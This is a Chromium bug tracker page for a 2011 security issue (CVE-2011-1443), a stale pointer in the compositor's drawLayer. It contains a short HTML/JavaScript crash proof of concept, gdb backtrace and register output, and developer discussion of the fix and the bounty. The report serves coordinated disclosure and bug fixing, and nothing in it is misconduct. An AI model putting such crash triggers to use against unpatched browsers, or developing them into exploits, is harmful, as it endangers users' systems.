My favorites | Sign in
Project Home Downloads Wiki Issues Code Search
New issue   Search
for
  Advanced search   Search tips   Subscriptions
Issue 76001: Stale pointer in WebCore::LayerRendererChromium::drawLayer
1 person starred this issue and may be notified of changes. Back to list
 
Reported by MartyBar...@gmail.com, Mar 13, 2011
VULNERABILITY DETAILS
When a video element with its position property set to "fixed" is appended to an arbitrary element with its visibility property set to "collapse", chromium will crash when the page is reloaded. If this is done in a document included in a second document by an iframe, the crash will occur due to a stale pointer in WebCore::LayerRendererChromium::drawLayer. If an iframe is not used, the crash will usually be caused by a null pointer dereference in the get function in third_party/WebKit/Source/JavaScriptCore/wtf/OwnPtr.h.

VERSION
Chrome Version: Chromium 10.0.648.127 Ubuntu 10.10 (stable)
Operating System: Ubuntu 10.10

REPRODUCTION CASE
crash.html:

<html>
<head><title>WebCore::LayerRendererChromium::drawLayer Crash PoC</title></head>
<body onload="boom();">
<script type="text/javascript">
setTimeout('window.location.reload()', 100);
function boom() {
  arbitrary = document.createElement('arbitrary');
  arbitrary.style.visibility = 'collapse';
  document.body.appendChild(arbitrary);
  video = document.createElement('video');
  video.setAttribute('src', 'arbitrary');
  video.style.position = 'fixed';
  arbitrary.appendChild(video);
}
</script>
</body>
</html>

outer.html (not necessary, but helps to demonstrate the security implications):

<iframe src="crash.html"></iframe>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab

$ chromium-browser --debug --single-process outer.html 
# Env:
#     LD_LIBRARY_PATH=/usr/lib/chromium-browser
#                PATH=/usr/lib/chromium-browser:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
#            GTK_PATH=
# CHROMIUM_USER_FLAGS=
#      CHROMIUM_FLAGS=
/usr/bin/gdb /usr/lib/chromium-browser/chromium-browser -x /tmp/chromiumargs.IaJjk1
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/lib/chromium-browser/chromium-browser...Reading symbols from /data/debug/usr/lib/chromium-browser/chromium-browser...done.
done.
(gdb) r

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffe226b700 (LWP 19368)]
0x000000960000012c in ?? ()
(gdb) bt
#0  0x000000960000012c in ?? ()
#1  0x00007ffff646b256 in WebCore::LayerRendererChromium::drawLayer (
    this=0x7ffff936db00, layer=0x7ffff93562c0, 
    targetSurface=<value optimized out>)
    at third_party/WebKit/Source/WebCore/platform/graphics/chromium/LayerRendererChromium.cpp:691
#2  0x00007ffff646e2d3 in WebCore::LayerRendererChromium::drawLayers (
    this=0x7ffff936db00, visibleRect=<value optimized out>, 
    contentRect=<value optimized out>, scrollPosition=<value optimized out>, 
    tilePaint=<value optimized out>, scrollbarPaint=<value optimized out>)
    at third_party/WebKit/Source/WebCore/platform/graphics/chromium/LayerRendererChromium.cpp:315
#3  0x00007ffff62193d4 in WebKit::WebViewImpl::doComposite (
    this=0x7ffff90a1480)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:2399
#4  0x00007ffff621e6e0 in WebKit::WebViewImpl::composite (this=0x7ffff93562c0, 
    finish=96)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:1080
#5  0x00007ffff589cb94 in RenderWidget::DoDeferredUpdate (this=0x7ffff90d7000)
    at chrome/renderer/render_widget.cc:619
#6  0x00007ffff589cf29 in RenderWidget::CallDoDeferredUpdate (
    this=0x7ffff93562c0) at chrome/renderer/render_widget.cc:528
#7  0x00007ffff589a078 in Dispatch<RenderWidget, RenderWidget> (

(gdb) frame 1
#1  0x00007ffff646b256 in WebCore::LayerRendererChromium::drawLayer (
    this=0x7ffff936db00, layer=0x7ffff93562c0, 
    targetSurface=<value optimized out>)
    at third_party/WebKit/Source/WebCore/platform/graphics/chromium/LayerRendererChromium.cpp:691
691	third_party/WebKit/Source/WebCore/platform/graphics/chromium/LayerRendererChromium.cpp: No such file or directory.
	in third_party/WebKit/Source/WebCore/platform/graphics/chromium/LayerRendererChromium.cpp
(gdb) disas
Dump of assembler code for function WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*):
...
   0x00007ffff646b22c <+124>:	mov    %rdx,0x8(%rsp)
   0x00007ffff646b231 <+129>:	mov    %rax,0x10(%rsp)
   0x00007ffff646b236 <+134>:	mov    %rdx,0x18(%rsp)
   0x00007ffff646b23b <+139>:	
    callq  0x7ffff64d0e60 <WebCore::IntRect::intersects(WebCore::IntRect const&) const>
   0x00007ffff646b240 <+144>:	test   %al,%al
   0x00007ffff646b242 <+146>:	je     0x7ffff646b1df <WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*)+47>
   0x00007ffff646b244 <+148>:	cmpb   $0x0,0x9d(%rbx)
   0x00007ffff646b24b <+155>:	je     0x7ffff646b270 <WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*)+192>
   0x00007ffff646b24d <+157>:	mov    (%rbx),%rax
   0x00007ffff646b250 <+160>:	mov    %rbx,%rdi
   0x00007ffff646b253 <+163>:	callq  *0x18(%rax)
=> 0x00007ffff646b256 <+166>:	test   %al,%al
   0x00007ffff646b258 <+168>:	jne    0x7ffff646b288 <WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*)+216>
   0x00007ffff646b25a <+170>:	mov    %rbx,%rdi
   0x00007ffff646b25d <+173>:	callq  0x7ffff646a1a0 <WebCore::LayerChromium::drawDebugBorder()>
   0x00007ffff646b262 <+178>:	jmpq   0x7ffff646b1df <WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*)+47>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) i r
rax            0x7ffff9356580	140737374414208
rbx            0x7ffff93562c0	140737374413504
rcx            0xa	10
rdx            0xa0	160
rsi            0x7fffe2269f60	140736987570016
rdi            0x7ffff93562c0	140737374413504
rbp            0x7ffff936db00	0x7ffff936db00
rsp            0x7fffe2269f50	0x7fffe2269f50
r8             0xa0	160
r9             0xa	10
r10            0xa	10
r11            0x206	518
r12            0x7ffff9356500	140737374414080
r13            0x0	0
r14            0x0	0
r15            0x6	6
rip            0x7ffff646b256	0x7ffff646b256 <WebCore::LayerRendererChromium::drawLayer(WebCore::LayerChromium*, WebCore::RenderSurfaceChromium*)+166>
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
---Type <return> to continue, or q <return> to quit---
fs             0x0	0
gs             0x0	0
(gdb)
crash.html
519 bytes   View   Download
outer.html
35 bytes   View   Download
Mar 14, 2011
#2 infe...@chromium.org
m_owner is stale here.

// These belong on CCLayerImpl, but should be subclased by each type and not defer to the LayerChromium subtypes.
bool CCLayerImpl::drawsContent() const
{
    return m_owner->drawsContent();
}

Adrienne, can you please take a look.

Status: Assigned
Owner: e...@chromium.org
Cc: jam...@chromium.org
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit Mstone-10 OS-All SecSeverity-High
Mar 14, 2011
#3 enne@chromium.org
If I open crash.html directly in 10.684.134, Chromium immediately hits the browser_render_process_host.cpp:515 assertion where it's received a bad message ("Transport DIB too small for given rectangle").  If I open outer.html, then I get what looks like the stale LayerChromium pointer reported above.

Abhishek, I'm a little confused by your comment.  CCLayerImpl didn't get merged to m10.  Are you seeing the stale m_owner pointer in m11 (or ToT) when running this repro case?
Cc: vange...@chromium.org
Mar 14, 2011
#4 enne@chromium.org
So, it looks like a stale pointer (but a slightly different one) in both m10 (original bug report) and m11 (what Abhishek mentions).  Hopefully the same fix can address both.
Mar 14, 2011
#5 jamesr@chromium.org
I'm investigating the transport DIB issue mentioned in comment #3.  I don't think it is related to the stale pointer issue seen in the renderer process.
Mar 21, 2011
#6 jsc...@chromium.org
(No comment was entered for this change.)
Labels: Type-Security
Mar 22, 2011
#7 jsc...@chromium.org
Moving m10 bugs to m11.
Labels: -Mstone-10 Mstone-11
Mar 24, 2011
#8 bugdro...@chromium.org
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=79349

------------------------------------------------------------------------
r79349 | jamesr@chromium.org | Thu Mar 24 17:14:00 PDT 2011

Changed paths:
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/renderer/render_widget.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/plugin/webplugin_accelerated_surface_proxy_mac.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/renderer/pepper_plugin_delegate_impl.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/accelerated_surface_container_mac.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/renderer_host/mock_render_process_host.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/renderer_host/browser_render_process_host.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/app/surface/transport_dib_linux.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/plugin/webplugin_proxy.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/app/surface/transport_dib_mac.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/content/common/common_param_traits.h?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/app/surface/transport_dib.h?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/app/surface/accelerated_surface_mac.cc?r1=79349&r2=79348&pathrev=79349
 M http://src.chromium.org/viewvc/chrome/trunk/src/app/surface/transport_dib_win.cc?r1=79349&r2=79348&pathrev=79349

Adds a TransportDIB::Id value that is explicitly invalid and use it when compositing

BUG=76001
TEST=

Review URL: http://codereview.chromium.org/6665029
------------------------------------------------------------------------
Mar 29, 2011
#9 infe...@chromium.org
Adrienne, ping ! did you get a chance to fix the stale pointer ?
Mar 29, 2011
#10 infe...@chromium.org
Adrienne, ping ! did you get a chance to fix the stale pointer ?
Mar 29, 2011
#11 enne@chromium.org
No, I have not had a chance yet.  I took a quick look at it on Friday, but didn't see any obvious problem or fix.
Mar 29, 2011
#12 scarybea...@gmail.com
Since it's a security bug, hopefully we can still get it fixed in time for M11?
Labels: ReleaseBlock-Stable
Mar 30, 2011
#13 enne@chromium.org
Ah, this looks like another "painting turns off compositing" bug.

Looking at the callstack, RenderLayerCompositor::enableCompositingMode(false) gets called during paint, which deletes some GraphicsLayers which through a chain of indirection deletes some CCLayerImpls.  These CCLayerImpls are being held onto by naked pointers in a vector, and hence this bug.
Mar 30, 2011
#14 chromium.cdn@gmail.com
@enne if we make RenderSurfaceChromium's m_layerList into a vector of refptrs that should do the trick for this bug. I am a little frightened by the fact that there are raw pointers to CCLayerImpls all over this code. Should we be changing all of this code to hold ref pointers? 
Mar 30, 2011
#15 jamesr@chromium.org
@cdn m_layerList being RefPtr<>s will not do the trick.  Changing all of this code to RefPtr<>s will also not fix anything.
Mar 30, 2011
#16 chromium.cdn@gmail.com
@jamesr I have a patch that fixes it by doing that. Are there underlying issues I am not seeing with the way I do it?
Mar 30, 2011
#17 jamesr@chromium.org
Yes, there are issues.  I can show you if you like, we can just let enne@ finish the proper fix.
Mar 30, 2011
#18 chromium.cdn@gmail.com
no worries
Mar 31, 2011
#20 enne@chromium.org
As a note, I ended up using RefPtrs as cdn suggested above.  James and I had thought that maybe the owner pointer from LayerChromium to the GraphicsLayer would also be stale, but it turns out that this is nulled out as a part of the GraphicsLayerChromium destructor.
Mar 31, 2011
#22 infe...@chromium.org
Fixed in http://trac.webkit.org/changeset/82624
Status: WillMerge
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Mar 31, 2011
#23 scarybea...@gmail.com
(No comment was entered for this change.)
Labels: reward-topanel
Apr 1, 2011
#24 scarybea...@gmail.com
Affected M10.
Merged to M11: http://trac.webkit.org/changeset/82706
Non-trivial merge but easy enough to resolve.
Status: FixUnreleased
Apr 11, 2011
#25 enne@chromium.org
(No comment was entered for this change.)
Cc: amarinichev%chromium.org@gtempaccount.com
Apr 14, 2011
#26 scarybea...@gmail.com
Nice bug. Uncovered a bunch of lifetime issues that we're happy to be without. $1000.

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: -reward-topanel reward-1000 reward-unpaid
Apr 22, 2011
#27 scarybea...@gmail.com
(No comment was entered for this change.)
Labels: CVE-2011-1443
May 3, 2011
#28 scarybea...@gmail.com
Invoice finalized; payment is in e-payment system; it can take a couple of weeks.
Labels: -reward-unpaid
Oct 4, 2011
#29 jsc...@chromium.org
Batch update.
Labels: SecImpacts-Stable
Apr 18, 2012
#30 jsc...@chromium.org
Lifting view restrictions.
Apr 18, 2012
#31 jsc...@chromium.org
Lifting view restrictions.
Labels: -Restrict-View-SecurityNotify
Apr 18, 2012
#32 jsc...@chromium.org
(No comment was entered for this change.)
Status: Fixed
Oct 13, 2012
#33 bugdro...@chromium.org
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Labels: Restrict-AddIssueComment-Commit
Mar 9, 2013
#34 bugdro...@chromium.org
(No comment was entered for this change.)
Labels: -Area-WebKit -SecSeverity-High -Type-Security -Mstone-11 -SecImpacts-Stable Cr-Content Security-Impact-Stable Security-Severity-High M-11 Type-Bug-Security
Mar 13, 2013
#35 bugdro...@chromium.org
(No comment was entered for this change.)
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Mar 21, 2013
#36 bugdro...@chromium.org
(No comment was entered for this change.)
Labels: -Security-Severity-High Security_Severity-High
Mar 21, 2013
#37 bugdro...@chromium.org
(No comment was entered for this change.)
Labels: -Security-Impact-Stable Security_Impact-Stable
Apr 5, 2013
#38 bugdro...@chromium.org
(No comment was entered for this change.)
Labels: -Cr-Content Cr-Blink
Sign in to add a comment

Powered by Google Project Hosting